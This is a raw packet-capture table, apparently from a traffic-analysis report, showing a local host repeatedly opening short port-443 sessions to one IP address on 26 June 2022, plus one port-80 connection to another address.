Jun 26, 2022 09:33:54.102763891 CEST	50032	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:54.103239059 CEST	50032	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:54.103271961 CEST	443	50032	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:54.160633087 CEST	443	50032	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:54.164714098 CEST	50032	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:54.164794922 CEST	443	50032	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:54.165021896 CEST	50032	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:54.165035009 CEST	443	50032	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:54.469449043 CEST	443	50032	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:54.469522953 CEST	443	50032	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:54.469619036 CEST	50032	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:54.470410109 CEST	50032	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:54.471832991 CEST	50034	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:54.471860886 CEST	443	50034	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:54.471981049 CEST	50034	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:54.472400904 CEST	50034	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:54.472414970 CEST	443	50034	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:54.529436111 CEST	443	50034	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:54.532172918 CEST	50034	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:54.532210112 CEST	443	50034	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:54.534987926 CEST	50034	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:54.535003901 CEST	443	50034	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:54.841496944 CEST	443	50034	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:54.841631889 CEST	443	50034	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:54.841814995 CEST	50034	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:54.842839956 CEST	50034	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:54.844388962 CEST	50035	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:54.844438076 CEST	443	50035	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:54.844549894 CEST	50035	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:54.845158100 CEST	50035	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:54.845177889 CEST	443	50035	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:54.902693033 CEST	443	50035	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:54.905590057 CEST	50035	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:54.905630112 CEST	443	50035	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:54.905688047 CEST	50035	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:54.905698061 CEST	443	50035	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:54.957528114 CEST	49746	80	192.168.2.5	193.122.130.0
Jun 26, 2022 09:33:55.066508055 CEST	80	49746	193.122.130.0	192.168.2.5
Jun 26, 2022 09:33:55.225739956 CEST	443	50035	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:55.225867033 CEST	443	50035	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:55.225955009 CEST	50035	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:55.226954937 CEST	50035	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:55.228931904 CEST	50037	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:55.228986979 CEST	443	50037	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:55.229156971 CEST	50037	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:55.229824066 CEST	50037	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:55.229851007 CEST	443	50037	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:55.293857098 CEST	443	50037	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:55.296463966 CEST	50037	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:55.296523094 CEST	443	50037	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:55.296612024 CEST	50037	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:55.296627998 CEST	443	50037	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:55.609805107 CEST	443	50037	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:55.609949112 CEST	443	50037	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:55.610019922 CEST	50037	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:55.611066103 CEST	50037	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:55.612426043 CEST	50039	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:55.612499952 CEST	443	50039	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:55.612601042 CEST	50039	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:55.613058090 CEST	50039	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:55.613080025 CEST	443	50039	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:55.672437906 CEST	443	50039	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:55.675266981 CEST	50039	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:55.675306082 CEST	443	50039	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:55.675383091 CEST	50039	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:55.675401926 CEST	443	50039	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:55.994024038 CEST	443	50039	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:55.994144917 CEST	443	50039	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:55.994259119 CEST	50039	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:55.994858980 CEST	50039	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:55.996181011 CEST	50040	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:55.996234894 CEST	443	50040	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:55.996552944 CEST	50040	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:55.996956110 CEST	50040	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:55.996980906 CEST	443	50040	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:56.057167053 CEST	443	50040	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:56.066025972 CEST	50040	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:56.066076040 CEST	443	50040	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:56.066154957 CEST	50040	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:56.066173077 CEST	443	50040	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:56.397691965 CEST	443	50040	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:56.397810936 CEST	443	50040	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:56.397898912 CEST	50040	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:56.398607969 CEST	50040	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:56.399941921 CEST	50042	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:56.399981022 CEST	443	50042	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:56.400085926 CEST	50042	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:56.400446892 CEST	50042	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:56.400469065 CEST	443	50042	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:56.459513903 CEST	443	50042	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:56.462131977 CEST	50042	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:56.462169886 CEST	443	50042	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:56.462276936 CEST	50042	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:56.462292910 CEST	443	50042	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:56.768712044 CEST	443	50042	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:56.768821955 CEST	443	50042	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:56.768897057 CEST	50042	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:56.769659996 CEST	50042	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:56.771073103 CEST	50043	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:56.771151066 CEST	443	50043	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:56.771254063 CEST	50043	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:56.771735907 CEST	50043	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:56.771764040 CEST	443	50043	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:56.833412886 CEST	443	50043	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:56.839943886 CEST	50043	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:56.839987993 CEST	443	50043	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:56.840061903 CEST	50043	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:56.840075970 CEST	443	50043	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:57.145589113 CEST	443	50043	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:57.145734072 CEST	443	50043	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:57.145836115 CEST	50043	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:57.152293921 CEST	50043	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:57.153723001 CEST	50045	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:57.153776884 CEST	443	50045	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:57.153867960 CEST	50045	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:57.154326916 CEST	50045	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:57.154366016 CEST	443	50045	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:57.213751078 CEST	443	50045	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:57.216542959 CEST	50045	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:57.216561079 CEST	443	50045	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:57.216636896 CEST	50045	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:57.216644049 CEST	443	50045	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:57.583055973 CEST	443	50045	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:57.583152056 CEST	443	50045	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:57.583226919 CEST	50045	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:57.584021091 CEST	50045	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:57.585728884 CEST	50047	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:57.585766077 CEST	443	50047	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:57.585958004 CEST	50047	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:57.586242914 CEST	50047	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:57.586261988 CEST	443	50047	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:57.665579081 CEST	443	50047	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:57.668282032 CEST	50047	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:57.668324947 CEST	443	50047	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:57.668517113 CEST	50047	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:57.668529987 CEST	443	50047	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:57.973073006 CEST	443	50047	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:57.973220110 CEST	443	50047	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:57.973318100 CEST	50047	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:57.974330902 CEST	50047	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:57.976212025 CEST	50050	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:57.976259947 CEST	443	50050	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:57.976413012 CEST	50050	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:57.976999044 CEST	50050	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:57.977022886 CEST	443	50050	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:58.035532951 CEST	443	50050	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:58.046946049 CEST	50050	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:58.046983957 CEST	443	50050	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:58.048063040 CEST	50050	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:58.048083067 CEST	443	50050	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:58.344214916 CEST	443	50050	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:58.344338894 CEST	443	50050	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:58.345371008 CEST	50050	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:58.345402956 CEST	50050	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:58.346654892 CEST	50051	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:58.346687078 CEST	443	50051	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:58.346837997 CEST	50051	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:58.347273111 CEST	50051	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:58.347289085 CEST	443	50051	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:58.407754898 CEST	443	50051	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:58.410722017 CEST	50051	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:58.410753965 CEST	443	50051	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:58.410909891 CEST	50051	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:58.410927057 CEST	443	50051	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:58.720187902 CEST	443	50051	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:58.720319033 CEST	443	50051	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:58.720406055 CEST	50051	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:58.721252918 CEST	50051	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:58.722537041 CEST	50054	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:58.722579002 CEST	443	50054	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:58.722744942 CEST	50054	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:58.723261118 CEST	50054	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:58.723289013 CEST	443	50054	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:58.780987978 CEST	443	50054	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:58.783953905 CEST	50054	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:58.783979893 CEST	443	50054	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:58.784111023 CEST	50054	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:58.784122944 CEST	443	50054	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:59.101953030 CEST	443	50054	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:59.102030993 CEST	443	50054	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:59.102089882 CEST	50054	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:59.102900982 CEST	50054	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:59.104324102 CEST	50056	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:59.104361057 CEST	443	50056	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:59.104444027 CEST	50056	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:59.104866982 CEST	50056	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:59.104887009 CEST	443	50056	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:59.161763906 CEST	443	50056	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:59.165606976 CEST	50056	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:59.165647984 CEST	443	50056	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:59.165772915 CEST	50056	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:59.165781975 CEST	443	50056	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:59.490386009 CEST	443	50056	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:59.490478039 CEST	443	50056	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:59.490570068 CEST	50056	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:59.491883039 CEST	50056	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:59.494054079 CEST	50059	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:59.494090080 CEST	443	50059	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:59.494214058 CEST	50059	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:59.494824886 CEST	50059	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:59.494843960 CEST	443	50059	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:59.554174900 CEST	443	50059	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:59.565179110 CEST	50059	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:59.565212011 CEST	443	50059	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:59.565373898 CEST	50059	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:59.565385103 CEST	443	50059	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:59.897715092 CEST	443	50059	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:59.897802114 CEST	443	50059	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:59.897902966 CEST	50059	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:59.898888111 CEST	50059	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:59.900420904 CEST	50060	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:59.900465012 CEST	443	50060	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:59.900639057 CEST	50060	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:59.901035070 CEST	50060	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:59.901053905 CEST	443	50060	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:59.957387924 CEST	443	50060	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:59.962105989 CEST	50060	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:59.962143898 CEST	443	50060	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:59.962236881 CEST	50060	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:59.962249994 CEST	443	50060	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:00.274355888 CEST	443	50060	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:00.274434090 CEST	443	50060	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:00.274955034 CEST	50060	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:00.275464058 CEST	50060	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:00.277520895 CEST	50065	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:00.277561903 CEST	443	50065	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:00.277636051 CEST	50065	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:00.278289080 CEST	50065	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:00.278311968 CEST	443	50065	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:00.339598894 CEST	443	50065	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:00.342505932 CEST	50065	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:00.342566013 CEST	443	50065	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:00.342659950 CEST	50065	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:00.342673063 CEST	443	50065	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:00.654792070 CEST	443	50065	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:00.654953003 CEST	443	50065	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:00.655049086 CEST	50065	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:00.665791035 CEST	50065	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:00.667504072 CEST	50068	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:00.667557001 CEST	443	50068	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:00.667696953 CEST	50068	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:00.668277979 CEST	50068	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:00.668303013 CEST	443	50068	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:00.731508970 CEST	443	50068	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:00.735589027 CEST	50068	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:00.735611916 CEST	443	50068	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:00.736042023 CEST	50068	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:00.736056089 CEST	443	50068	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:01.056003094 CEST	443	50068	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:01.056068897 CEST	443	50068	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:01.056226015 CEST	50068	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:01.056912899 CEST	50068	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:01.058285952 CEST	50070	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:01.058315992 CEST	443	50070	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:01.058415890 CEST	50070	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:01.058852911 CEST	50070	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:01.058865070 CEST	443	50070	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:01.116736889 CEST	443	50070	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:01.119748116 CEST	50070	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:01.119781971 CEST	443	50070	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:01.119939089 CEST	50070	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:01.119951010 CEST	443	50070	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:01.439270020 CEST	443	50070	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:01.439341068 CEST	443	50070	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:01.439424992 CEST	50070	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:01.442157984 CEST	50070	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:01.444768906 CEST	50074	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:01.444824934 CEST	443	50074	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:01.444952011 CEST	50074	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:01.445482016 CEST	50074	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:01.445508003 CEST	443	50074	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:01.505712032 CEST	443	50074	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:01.511544943 CEST	50074	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:01.511601925 CEST	443	50074	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:01.511713028 CEST	50074	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:01.511734962 CEST	443	50074	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:01.821645021 CEST	443	50074	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:01.821747065 CEST	443	50074	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:01.821824074 CEST	50074	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:01.822882891 CEST	50074	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:01.824846983 CEST	50077	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:01.824891090 CEST	443	50077	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:01.824997902 CEST	50077	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:01.825661898 CEST	50077	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:01.825679064 CEST	443	50077	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:01.886845112 CEST	443	50077	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:01.890594006 CEST	50077	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:01.890614033 CEST	443	50077	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:01.890779972 CEST	50077	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:01.890791893 CEST	443	50077	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:02.225194931 CEST	443	50077	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:02.225303888 CEST	443	50077	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:02.225404024 CEST	50077	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:02.227535009 CEST	50077	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:02.228899002 CEST	50079	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:02.228929043 CEST	443	50079	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:02.229028940 CEST	50079	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:02.229414940 CEST	50079	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:02.229429960 CEST	443	50079	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:02.292496920 CEST	443	50079	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:02.298202038 CEST	50079	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:02.298230886 CEST	443	50079	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:02.298450947 CEST	50079	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:02.298464060 CEST	443	50079	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:02.608937979 CEST	443	50079	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:02.609069109 CEST	443	50079	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:02.609215021 CEST	50079	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:02.613333941 CEST	50079	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:02.614970922 CEST	50080	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:02.615019083 CEST	443	50080	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:02.615098000 CEST	50080	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:02.615567923 CEST	50080	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:02.615587950 CEST	443	50080	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:02.681091070 CEST	443	50080	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:02.684948921 CEST	50080	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:02.684986115 CEST	443	50080	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:02.685113907 CEST	50080	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:02.685126066 CEST	443	50080	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:03.006426096 CEST	443	50080	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:03.006498098 CEST	443	50080	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:03.006587982 CEST	50080	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:03.007858038 CEST	50080	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:03.010526896 CEST	50082	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:03.010570049 CEST	443	50082	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:03.011008024 CEST	50082	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:03.011806011 CEST	50082	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:03.011835098 CEST	443	50082	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:03.074382067 CEST	443	50082	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:03.077930927 CEST	50082	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:03.077960968 CEST	443	50082	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:03.078063011 CEST	50082	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:03.078075886 CEST	443	50082	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:03.402390003 CEST	443	50082	149.154.167.220	192.168.2.5
